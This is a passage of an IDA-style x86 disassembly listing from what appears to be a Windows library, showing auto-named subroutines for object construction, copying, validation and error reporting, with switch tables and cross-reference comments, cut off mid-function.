loc_69B8CA08: ; CODE XREF: sub_69B8C997+54j
mov ecx, esi
call sub_69B8C6AD
cmp eax, 3
jl short loc_69B8CA4E
cmp eax, 4
jg short loc_69B8CA4E
mov ebx, [esi+2Ch]
mov ecx, [ebp+arg_4]
push ebx
call sub_69B8B00F
test eax, eax
jnz short loc_69B8CA4E
mov esi, [esi+10h]
push eax
mov eax, [edi]
push 1
push edi
call dword ptr [eax+1Ch]
push eax
mov eax, [edi]
push edi
call dword ptr [eax+18h]
push eax
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+3Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8B5C1
loc_69B8CA4E: ; CODE XREF: sub_69B8C997+3Fj
; sub_69B8C997+50j ...
mov eax, [ebp+var_8]
add eax, 4
cmp eax, [ebp+var_4]
mov [ebp+var_8], eax
jb loc_69B8C9C2
pop edi
pop esi
pop ebx
locret_69B8CA63: ; CODE XREF: sub_69B8C997+Aj
; sub_69B8C997+1Fj
leave
retn 0Ch
sub_69B8C997 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CA67 proc near ; CODE XREF: sub_69B5C433+14Ap
; sub_69B8DCB5+22Fp
arg_0 = dword ptr 4
push esi
lea esi, [ecx+30h]
cmp dword ptr [esi], 0
jnz short loc_69B8CA7C
call sub_69B1D7F6
push eax
push esi
call sub_69B17320
loc_69B8CA7C: ; CODE XREF: sub_69B8CA67+7j
push [esp+4+arg_0]
mov ecx, [esi]
call sub_69B8A35C
pop esi
retn 4
sub_69B8CA67 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CA8B proc near ; CODE XREF: sub_69B8DCB5+117p
arg_0 = dword ptr 4
push esi
lea esi, [ecx+20h]
cmp dword ptr [esi], 0
jnz short loc_69B8CAA0
call sub_69B1D7F6
push eax
push esi
call sub_69B17320
loc_69B8CAA0: ; CODE XREF: sub_69B8CA8B+7j
push [esp+4+arg_0]
mov ecx, [esi]
call sub_69B8A35C
pop esi
retn 4
sub_69B8CA8B endp
; =============== S U B R O U T I N E =======================================
sub_69B8CAAF proc near ; CODE XREF: sub_69B8CB17+Fp
; sub_69B8CBD2+9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
call sub_69B19118
xor eax, eax
cmp [esp+4+arg_4], eax
mov dword ptr [esi], offset off_69B148D0
mov [esi+8], eax
mov [esi+0Ch], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov ecx, esi
jz short loc_69B8CADE
push [esp+4+arg_4]
call sub_69B5AF7A
jmp short loc_69B8CAE7
; ---------------------------------------------------------------------------
loc_69B8CADE: ; CODE XREF: sub_69B8CAAF+22j
push [esp+4+arg_0]
call sub_69B8C7A5
loc_69B8CAE7: ; CODE XREF: sub_69B8CAAF+2Dj
mov eax, [esp+4+arg_8]
or dword ptr [esi+24h], 0FFFFFFFFh
or dword ptr [esi+28h], 0FFFFFFFFh
mov [esi+18h], eax
mov eax, esi
pop esi
retn 0Ch
sub_69B8CAAF endp
; =============== S U B R O U T I N E =======================================
sub_69B8CAFC proc near ; DATA XREF: .text:69B148DCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8C728
test [esp+4+arg_0], 1
jz short loc_69B8CB11
push esi
call sub_69B1829F
loc_69B8CB11: ; CODE XREF: sub_69B8CAFC+Dj
mov eax, esi
pop esi
retn 4
sub_69B8CAFC endp
; =============== S U B R O U T I N E =======================================
sub_69B8CB17 proc near ; CODE XREF: sub_69B8CBBB+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push ebx
push edi
push [esp+8+arg_4]
xor ebx, ebx
push ebx
push [esp+10h+arg_0]
mov edi, ecx
call sub_69B8CAAF
cmp [esp+8+arg_4], ebx
mov dword ptr [edi], offset off_69B14910
mov [edi+2Ch], ebx
mov [edi+30h], ebx
jz short loc_69B8CB8E
push esi
mov ecx, edi
call sub_69B5AF99
mov esi, eax
mov al, [esp+0Ch+arg_8]
mov ecx, esi
mov [esi+30h], al
mov [esi+8], bl
mov byte ptr [esi+28h], 1
call sub_69B8F567
mov ecx, esi
call sub_69B8F0F8
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov ebx, eax
jg short loc_69B8CB75
call sub_69B2E6D8
loc_69B8CB75: ; CODE XREF: sub_69B8CB17+57j
push dword ptr [ebx+10h]
mov ecx, esi
call sub_69B8FF0A
mov ecx, esi
call sub_69B8F5A8
mov ecx, esi
call sub_69B8FBCF
pop esi
loc_69B8CB8E: ; CODE XREF: sub_69B8CB17+24j
mov eax, edi
pop edi
pop ebx
retn 0Ch
sub_69B8CB17 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CB95 proc near ; DATA XREF: .text:69B12B14o
; .text:69B138F8o ...
xor eax, eax
retn 4
sub_69B8CB95 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CB9A proc near ; DATA XREF: .text:69B14944o
push esi
mov esi, ecx
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B8C767
sub_69B8CB9A endp
; =============== S U B R O U T I N E =======================================
sub_69B8CBBB proc near ; CODE XREF: sub_69B5B040+Ap
; sub_69B8B6C8+30p ...
push 3Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B8CBCD
mov ecx, eax
jmp sub_69B8CB17
; ---------------------------------------------------------------------------
loc_69B8CBCD: ; CODE XREF: sub_69B8CBBB+9j
xor eax, eax
retn 0Ch
sub_69B8CBBB endp
; =============== S U B R O U T I N E =======================================
sub_69B8CBD2 proc near ; CODE XREF: sub_69B8CC29+16p
push esi
push edi
xor edi, edi
push edi
push edi
push edi
mov esi, ecx
call sub_69B8CAAF
mov dword ptr [esi], offset off_69B14910
mov [esi+2Ch], edi
mov [esi+30h], edi
pop edi
mov eax, esi
pop esi
retn
sub_69B8CBD2 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CBF1 proc near ; DATA XREF: .text:69B1491Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8CC0C
test [esp+4+arg_0], 1
jz short loc_69B8CC06
push esi
call sub_69B1829F
loc_69B8CC06: ; CODE XREF: sub_69B8CBF1+Dj
mov eax, esi
pop esi
retn 4
sub_69B8CBF1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CC0C proc near ; CODE XREF: sub_69B8CBF1+3p
push esi
mov esi, ecx
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B8C728
sub_69B8CC0C endp
; =============== S U B R O U T I N E =======================================
sub_69B8CC29 proc near ; DATA XREF: sub_69B8B84D+4Do
; sub_69B8BF13+5Eo
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov esi, [esp+8+arg_8]
mov ebx, [esi]
push edi
push 3Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B8CC48
mov ecx, eax
call sub_69B8CBD2
mov edi, eax
jmp short loc_69B8CC4A
; ---------------------------------------------------------------------------
loc_69B8CC48: ; CODE XREF: sub_69B8CC29+12j
xor edi, edi
loc_69B8CC4A: ; CODE XREF: sub_69B8CC29+1Dj
push [esp+0Ch+arg_C]
push edi
push ebx
call sub_69B8C881
mov [esi], edi
pop edi
pop esi
pop ebx
retn 10h
sub_69B8CC29 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CC5D proc near ; CODE XREF: sub_69B8E980+C2p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
call dword ptr [eax+0ECh]
mov [esi+18h], eax
pop esi
retn 4
sub_69B8CC5D endp
; =============== S U B R O U T I N E =======================================
sub_69B8CC73 proc near ; CODE XREF: sub_69B4CC55+ACp
arg_0 = dword ptr 4
push dword ptr [ecx+18h]
mov ecx, [esp+4+arg_0]
call sub_69B3EB79
retn 4
sub_69B8CC73 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CC82 proc near ; CODE XREF: sub_69B4E634:loc_69B4E917p
; sub_69B5B8CE+78p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B8C6DE
cmp byte ptr [esi+30h], 3
jnz short loc_69B8CD00
mov ecx, esi
call sub_69B8C6AD
add eax, 0FFFFFFFEh
cmp eax, 8 ; switch 9 cases
ja short loc_69B8CCC5 ; default
movzx eax, ds:byte_69B8CD0D[eax]
jmp ds:off_69B8CD05[eax*4] ; switch jump
loc_69B8CCB3: ; DATA XREF: .text:off_69B8CD05o
mov ecx, [esi+2Ch] ; jumptable 69B8CCAC cases 2,4,6
mov eax, [ecx]
push edi
call dword ptr [eax+24h]
jmp short loc_69B8CCE2
; ---------------------------------------------------------------------------
loc_69B8CCBE: ; CODE XREF: sub_69B8CC82+2Aj
; DATA XREF: .text:off_69B8CD05o
cmp [esi+2Ch], edi ; jumptable 69B8CCAC cases 0,1,3,5,7,8
jz short loc_69B8CD00
jmp short loc_69B8CCE6
; ---------------------------------------------------------------------------
loc_69B8CCC5: ; CODE XREF: sub_69B8CC82+21j
mov ecx, [esi+2Ch] ; default
test ecx, ecx
jnz short loc_69B8CCD5
cmp [edi+8], ecx
jnz short loc_69B8CCE6
test ecx, ecx
jz short loc_69B8CD00
loc_69B8CCD5: ; CODE XREF: sub_69B8CC82+48j
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+24h]
loc_69B8CCE2: ; CODE XREF: sub_69B8CC82+3Aj
test al, al
jnz short loc_69B8CD00
loc_69B8CCE6: ; CODE XREF: sub_69B8CC82+41j
; sub_69B8CC82+4Dj
mov ecx, [esi+8]
mov eax, [ecx]
push 0
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE016h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B8CD00: ; CODE XREF: sub_69B8CC82+12j
; sub_69B8CC82+3Fj ...
pop edi
pop esi
retn 4
sub_69B8CC82 endp
; ---------------------------------------------------------------------------
off_69B8CD05 dd offset loc_69B8CCBE ; DATA XREF: sub_69B8CC82+2Ar
dd offset loc_69B8CCB3 ; jump table for switch statement
byte_69B8CD0D db 0, 0, 1, 0 ; DATA XREF: sub_69B8CC82+23r
db 1, 0, 1, 0 ; indirect table for switch statement
db 0
; =============== S U B R O U T I N E =======================================
sub_69B8CD16 proc near ; CODE XREF: sub_69B8CF4E+9p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
lea eax, [edi+8]
push eax
lea ecx, [esi+8]
call sub_69B4D414
lea eax, [edi+0Ch]
push eax
lea ecx, [esi+0Ch]
call sub_69B4D414
mov eax, [edi+14h]
mov [esi+14h], eax
mov eax, [edi+18h]
mov [esi+18h], eax
lea eax, [edi+1Ch]
push eax
lea ecx, [esi+1Ch]
call sub_69B4D414
lea eax, [edi+20h]
push eax
lea ecx, [esi+20h]
call sub_69B4D414
mov eax, [edi+24h]
mov [esi+24h], eax
mov eax, [edi+28h]
mov [esi+28h], eax
mov eax, [esi]
push 1
push dword ptr [edi+10h]
mov ecx, esi
call dword ptr [eax+38h]
pop edi
pop esi
retn 4
sub_69B8CD16 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8CDB7
loc_69B8CD77: ; CODE XREF: sub_69B8CDB7+Dj
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
push 0
call sub_69B8CAAF
mov dword ptr [esi], offset off_69B14950
and dword ptr [esi+2Ch], 0
mov byte ptr [esi+30h], 0
mov byte ptr [esi+31h], 0
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B8CDB7
; =============== S U B R O U T I N E =======================================
sub_69B8CDA1 proc near ; DATA XREF: .text:69B14984o
push esi
mov esi, ecx
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B8C767
sub_69B8CDA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8CDB7 proc near ; CODE XREF: sub_69B5B0D9+9p
; sub_69B5C433+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B8CD77 SIZE 0000002A BYTES
push 34h
call sub_69B17EF3
test eax, eax
jz short loc_69B8CDC6
mov ecx, eax
jmp short loc_69B8CD77
; ---------------------------------------------------------------------------
loc_69B8CDC6: ; CODE XREF: sub_69B8CDB7+9j
xor eax, eax
retn 8
sub_69B8CDB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8CDCB proc near ; CODE XREF: sub_69B5BDC8+91p
; sub_69B8DCB5+1F1p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
push ebx
push esi
mov ebx, ecx
jnz short loc_69B8CE31
mov ecx, [ebx+8]
mov eax, dword_69B95A5C
cmp eax, [ecx+10h]
jnz short loc_69B8CE31
cmp byte ptr [ebx+30h], 3
jz loc_69B8CF48
mov eax, [ecx]
mov esi, dword_69B95A6C
push 0
push 0
call dword ptr [eax+2Ch]
push eax
push offset asc_69B282D8 ; ":"
call sub_69B1A587
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
call sub_69B2F2CA
add esp, 10h
push eax
mov eax, 0C00CE01Eh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp loc_69B8CF48
; ---------------------------------------------------------------------------
loc_69B8CE31: ; CODE XREF: sub_69B8CDCB+Dj
; sub_69B8CDCB+1Aj
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 12h
mov esi, eax
jg short loc_69B8CE43
call sub_69B2E6D8
loc_69B8CE43: ; CODE XREF: sub_69B8CDCB+71j
mov eax, [esi+54h]
cmp eax, [ebx+8]
jnz loc_69B8CF48
mov esi, [ebx+20h]
push edi
mov ecx, ebx
call sub_69B8C6AD
cmp [ebp+arg_4], 0
jz short loc_69B8CEC6
test esi, esi
jz loc_69B8CF15
push esi
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jnb loc_69B8CF15
mov eax, dword_69B95A84
loc_69B8CE82: ; CODE XREF: sub_69B8CDCB+F7j
cmp dword ptr [eax+8], 0Ch
mov esi, [ecx]
mov edi, eax
jg short loc_69B8CE96
call sub_69B2E6D8
mov eax, dword_69B95A84
loc_69B8CE96: ; CODE XREF: sub_69B8CDCB+BFj
cmp esi, [edi+3Ch]
jz short loc_69B8CEB6
cmp dword ptr [eax+8], 0Dh
mov edi, eax
jg short loc_69B8CEAD
call sub_69B2E6D8
mov eax, dword_69B95A84
loc_69B8CEAD: ; CODE XREF: sub_69B8CDCB+D6j
cmp esi, [edi+40h]
jnz loc_69B8CF36
loc_69B8CEB6: ; CODE XREF: sub_69B8CDCB+CEj
mov ecx, [ebp+var_8]
add ecx, 4
cmp ecx, [ebp+var_4]
mov [ebp+var_8], ecx
jb short loc_69B8CE82
jmp short loc_69B8CF15
; ---------------------------------------------------------------------------
loc_69B8CEC6: ; CODE XREF: sub_69B8CDCB+93j
cmp eax, 0Ah
jnz short loc_69B8CF36
test esi, esi
jz short loc_69B8CF36
cmp dword ptr [esi+0Ch], 2
jnz short loc_69B8CF36
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 0Ch
mov edi, eax
jg short loc_69B8CEE7
call sub_69B2E6D8
loc_69B8CEE7: ; CODE XREF: sub_69B8CDCB+115j
push dword ptr [edi+3Ch]
mov ecx, esi
call sub_69B677BA
test al, al
jz short loc_69B8CF36
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 0Dh
mov edi, eax
jg short loc_69B8CF07
call sub_69B2E6D8
loc_69B8CF07: ; CODE XREF: sub_69B8CDCB+135j
push dword ptr [edi+40h]
mov ecx, esi
call sub_69B677BA
test al, al
jz short loc_69B8CF36
loc_69B8CF15: ; CODE XREF: sub_69B8CDCB+97j
; sub_69B8CDCB+ACj ...
mov eax, [ebx+10h]
test eax, eax
jz short loc_69B8CF47
push 4
pop esi
push 0
push eax
call sub_69B4EE00
test al, al
jz short loc_69B8CF2E
push 0Ch
pop esi
loc_69B8CF2E: ; CODE XREF: sub_69B8CDCB+15Ej
mov eax, [ebp+arg_0]
mov [eax+38h], esi
jmp short loc_69B8CF47
; ---------------------------------------------------------------------------
loc_69B8CF36: ; CODE XREF: sub_69B8CDCB+E5j
; sub_69B8CDCB+FEj ...
mov eax, 0C00CE02Ch
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B8CF47: ; CODE XREF: sub_69B8CDCB+14Fj
; sub_69B8CDCB+169j
pop edi
loc_69B8CF48: ; CODE XREF: sub_69B8CDCB+20j
; sub_69B8CDCB+61j ...
pop esi
pop ebx
leave
retn 8
sub_69B8CDCB endp
; =============== S U B R O U T I N E =======================================
sub_69B8CF4E proc near ; CODE XREF: sub_69B5BEDE+4Fp
; sub_69B5C2C9+43p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B8CD16
lea eax, [edi+2Ch]
push eax
lea ecx, [esi+2Ch]
call sub_69B4D414
mov al, [edi+30h]
pop edi
mov [esi+30h], al
pop esi
retn 4
sub_69B8CF4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8CF73 proc near ; CODE XREF: sub_69B8D097+22p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
push esi
push edi
push ebx
call sub_69B8C7D8
mov eax, [esi+4]
lea esi, [ebx+2Ch]
cmp dword ptr [esi], 0
mov [ebp+arg_4], eax
jz short loc_69B8CFE3
mov eax, [ebp+arg_8]
cmp byte ptr [eax], 0
jz short loc_69B8CFE3
mov ecx, edi
call sub_69B8C6AD
add eax, 0FFFFFFFEh
cmp eax, 8 ; switch 9 cases
ja short loc_69B8CFCA ; default
movzx eax, ds:byte_69B8D02B[eax]
jmp ds:off_69B8D023[eax*4] ; switch jump
loc_69B8CFBD: ; DATA XREF: .text:off_69B8D023o
mov ecx, [esi] ; jumptable 69B8CFB6 cases 2,4,6
mov eax, [ecx]
call dword ptr [eax+28h]
jmp short loc_69B8CFD7
; ---------------------------------------------------------------------------
loc_69B8CFC6: ; CODE XREF: sub_69B8CF73+43j
; DATA XREF: .text:off_69B8D023o
mov eax, [esi] ; jumptable 69B8CFB6 cases 0,1,3,5,7,8
jmp short loc_69B8CFD7
; ---------------------------------------------------------------------------
loc_69B8CFCA: ; CODE XREF: sub_69B8CF73+3Aj
mov ecx, [esi] ; default
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
call sub_69B2F0C4
loc_69B8CFD7: ; CODE XREF: sub_69B8CF73+51j
; sub_69B8CF73+55j
push eax
lea eax, [edi+2Ch]
push eax
call sub_69B17320
jmp short loc_69B8CFEC
; ---------------------------------------------------------------------------
loc_69B8CFE3: ; CODE XREF: sub_69B8CF73+23j
; sub_69B8CF73+2Bj
push esi
lea ecx, [edi+2Ch]
call sub_69B4D414
loc_69B8CFEC: ; CODE XREF: sub_69B8CF73+6Ej
mov al, [ebx+30h]
mov [edi+30h], al
mov ebx, [ebx+10h]
test ebx, ebx
jz short loc_69B8D01C
mov ecx, [ebp+arg_4]
mov esi, [edi]
push 1
push 0
call sub_69B3D200
push eax
push [ebp+arg_4]
mov ecx, ebx
push 1
push 1
call sub_69B3D586
push eax
mov ecx, edi
call dword ptr [esi+38h]
loc_69B8D01C: ; CODE XREF: sub_69B8CF73+84j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B8CF73 endp
; ---------------------------------------------------------------------------
off_69B8D023 dd offset loc_69B8CFC6 ; DATA XREF: sub_69B8CF73+43r
dd offset loc_69B8CFBD ; jump table for switch statement
byte_69B8D02B db 0, 0, 1, 0 ; DATA XREF: sub_69B8CF73+3Cr
db 1, 0, 1, 0 ; indirect table for switch statement
db 0
; =============== S U B R O U T I N E =======================================
sub_69B8D034 proc near ; DATA XREF: .text:69B1495Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B8C728
test [esp+4+arg_0], 1
jz short loc_69B8D054
push esi
call sub_69B1829F
loc_69B8D054: ; CODE XREF: sub_69B8D034+18j
mov eax, esi
pop esi
retn 4
sub_69B8D034 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8D083
loc_69B8D05A: ; CODE XREF: sub_69B8D083+Dj
push esi
push 0
push 0
push 0
mov esi, ecx
call sub_69B8CAAF
push [esp+4+arg_0]
mov dword ptr [esi], offset off_69B14950
and dword ptr [esi+2Ch], 0
mov ecx, esi
call sub_69B8CF4E
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B8D083
; =============== S U B R O U T I N E =======================================
sub_69B8D083 proc near ; CODE XREF: sub_69B5C433+7Cp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B8D05A SIZE 00000029 BYTES
push 34h
call sub_69B17EF3
test eax, eax
jz short loc_69B8D092
mov ecx, eax
jmp short loc_69B8D05A
; ---------------------------------------------------------------------------
loc_69B8D092: ; CODE XREF: sub_69B8D083+9j
xor eax, eax
retn 4
sub_69B8D083 endp
; =============== S U B R O U T I N E =======================================
sub_69B8D097 proc near ; CODE XREF: sub_69B8C881+D3p
; DATA XREF: sub_69B8B84D+7Eo ...
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [ebx]
push edi
mov edi, [esi+8]
mov ecx, esi
call sub_69B8C6AD
push eax
push edi
call sub_69B8CDB7
push [esp+0Ch+arg_C]
mov edi, eax
push edi
push esi
call sub_69B8CF73
mov ecx, [esp+0Ch+arg_0]
test ecx, ecx
jz short loc_69B8D0CF
push edi
push dword ptr [edi+8]
call sub_69B3182D
loc_69B8D0CF: ; CODE XREF: sub_69B8D097+2Dj
mov [ebx], edi
pop edi
pop esi
pop ebx
retn 10h
sub_69B8D097 endp
; =============== S U B R O U T I N E =======================================
sub_69B8D0D7 proc near ; CODE XREF: sub_69B4F64F+102p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov esi, ecx
call sub_69B4E24E
push [esp+8+arg_4]
xor ecx, ecx
mov dword ptr [esi], offset off_69B1498C
mov dword ptr [esi+4], offset off_69B2B1F4
lea eax, [esi+14h]
mov [eax], ecx
mov [esi+18h], ecx
mov [esi+1Ch], ecx
mov [esi+20h], ecx
mov [esi+24h], ecx
mov [esi+30h], ecx
lea edi, [esi+34h]
mov [edi], ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov [esi+10h], ecx
call sub_69B2DEB2
push [esp+8+arg_8]
push edi
call sub_69B2DEB2
pop edi
mov eax, esi
pop esi
retn 0Ch
sub_69B8D0D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B8D12A proc near ; CODE XREF: sub_69B8D4B6+3p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
xor ebp, ebp
push ebp
lea edi, [esi+10h]
push edi
mov dword ptr [esi-4], offset off_69B1498C
mov dword ptr [esi], offset off_69B2B1F4
mov [esi+0Ch], ebp
call sub_69B2DEB2
push ebp
lea ebx, [esi+14h]
push ebx
call sub_69B17320
push 0
lea ebp, [esi+18h]
push ebp
call sub_69B17320
lea eax, [esi+20h]
push 0
push eax
mov [esp+20h+var_8], eax
call sub_69B17320
lea eax, [esi+1Ch]
push 0
push eax
mov [esp+20h+var_4], eax
call sub_69B17320
lea eax, [esi+30h]
push 0
push eax
call sub_69B2DEB2
lea eax, [esi+30h]
push eax
call sub_69B2DEDD
add esi, 2Ch
push esi
call sub_69B17230
push [esp+18h+var_8]
call sub_69B17230
push [esp+18h+var_4]
call sub_69B17230
push ebp
call sub_69B17230
push ebx
call sub_69B17230
push edi
call sub_69B2DEDD
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
jmp sub_69B2C65C
sub_69B8D12A endp
; =============== S U B R O U T I N E =======================================
sub_69B8D1CE proc near ; CODE XREF: sub_69B8D237+Ep
push ebx
push esi
mov esi, ecx
call sub_69B8A676
push eax
lea eax, [esi+18h]
push eax
call sub_69B17320
xor ebx, ebx
push ebx
lea eax, [esi+1Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+20h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+24h]
push eax
call sub_69B17320
mov ecx, [esi+14h]
mov [esi+2Dh], bl
mov [esi+2Ch], bl
mov byte ptr [esi+2Eh], 1
cmp [ecx+2Fh], bl
jz short loc_69B8D225
push dword_69B95A18
call sub_69B5ABF5
test al, al
jnz short loc_69B8D225
push 3
pop ebx
loc_69B8D225: ; CODE XREF: sub_69B8D1CE+43j
; sub_69B8D1CE+52j
mov eax, [esi+34h]
mov [esi+28h], ebx
mov al, [eax+8Eh]
mov [esi+2Fh], al
pop esi
pop ebx
retn
sub_69B8D1CE endp
; =============== S U B R O U T I N E =======================================
sub_69B8D237 proc near ; DATA XREF: .text:69B14998o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp [esp+arg_8], 1
push esi
mov esi, [esp+4+arg_0]
jnz short loc_69B8D24A
mov ecx, esi
call sub_69B8D1CE
loc_69B8D24A: ; CODE XREF: sub_69B8D237+Aj
push [esp+4+arg_8]
mov eax, [esi+10h]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
pop esi
retn 0Ch
sub_69B8D237 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8D25F proc near ; DATA XREF: .text:69B149A8o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_10]
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [eax]
mov eax, [esi+28h]
mov edx, [edi+20h]
xor ecx, ecx
sub eax, ecx
mov [ebp+var_8], ecx
mov [ebp+var_4], edx
jz loc_69B8D308
dec eax
jz short loc_69B8D2EF
dec eax
jz loc_69B8D3A6
dec eax
jnz loc_69B8D463
mov eax, [edi+4]
cmp eax, 1
jnz short loc_69B8D2C6
mov eax, [edx+8]
mov eax, [eax+10h]
mov ecx, [esi+14h]
push eax
call sub_69B5ABF5
test al, al
jz short loc_69B8D2EC
lea ebx, [esi+1Ch]
cmp dword ptr [ebx], 0
jnz loc_69B8D3FC
and dword ptr [esi+28h], 0
jmp loc_69B8D3FC
; ---------------------------------------------------------------------------
loc_69B8D2C6: ; CODE XREF: sub_69B8D25F+3Dj
cmp eax, 2
jnz short loc_69B8D2EF
mov eax, [esi+1Ch]
cmp eax, ecx
jz short loc_69B8D2EF
cmp [eax+18h], ecx
jz short loc_69B8D2EF
mov ecx, [esi+14h]
push 0
push edx
call sub_69B8B937
push eax
lea eax, [esi+24h]
push eax
call sub_69B17320
loc_69B8D2EC: ; CODE XREF: sub_69B8D25F+50j
mov edx, [ebp+var_4]
loc_69B8D2EF: ; CODE XREF: sub_69B8D25F+27j
; sub_69B8D25F+6Aj ...
cmp dword ptr [edi+4], 11h
jnz loc_69B8D3A6
cmp dword ptr [edi+0Ch], 0
jz loc_69B8D3A6
jmp loc_69B8D392
; ---------------------------------------------------------------------------
loc_69B8D308: ; CODE XREF: sub_69B8D25F+20j
cmp dword ptr [edi+4], 2
jnz short loc_69B8D319
mov byte ptr [esi+2Ch], 1
mov dword ptr [esi+28h], 1
loc_69B8D319: ; CODE XREF: sub_69B8D25F+ADj
lea ebx, [esi+1Ch]
mov eax, [ebx]
cmp eax, ecx
jnz short loc_69B8D33E
cmp byte ptr [esi+2Eh], 0
jz loc_69B8D3FC
mov ecx, [esi+14h]
push edx
mov byte ptr [esi+2Eh], 0
call sub_69B8B2A8
jmp loc_69B8D3FC
; ---------------------------------------------------------------------------
loc_69B8D33E: ; CODE XREF: sub_69B8D25F+C1j
mov eax, [eax+18h]
cmp eax, ecx
jz loc_69B8D3FC
mov ecx, [edi+4]
cmp ecx, 1
jz loc_69B8D3EE
cmp ecx, 2
jz short loc_69B8D3D8
cmp ecx, 3
jz short loc_69B8D3D2
cmp ecx, 0Ch
jbe loc_69B8D3FC
cmp ecx, 0Eh
jbe short loc_69B8D3C7
cmp ecx, 11h
jz short loc_69B8D38C
cmp ecx, 12h
jnz loc_69B8D3FC
mov eax, [eax+2Ch]
cmp byte ptr [eax+28h], 0
jnz short loc_69B8D3FC
push 0Dh
push 0
mov ecx, eax
jmp short loc_69B8D3F5
; ---------------------------------------------------------------------------
loc_69B8D38C: ; CODE XREF: sub_69B8D25F+111j
cmp dword ptr [edi+0Ch], 0
jz short loc_69B8D3C3
loc_69B8D392: ; CODE XREF: sub_69B8D25F+A4j
mov ecx, [esi+14h]
xor eax, eax
mov al, [esi+2Ch]
push eax
push dword ptr [esi+1Ch]
push dword ptr [edx+8]
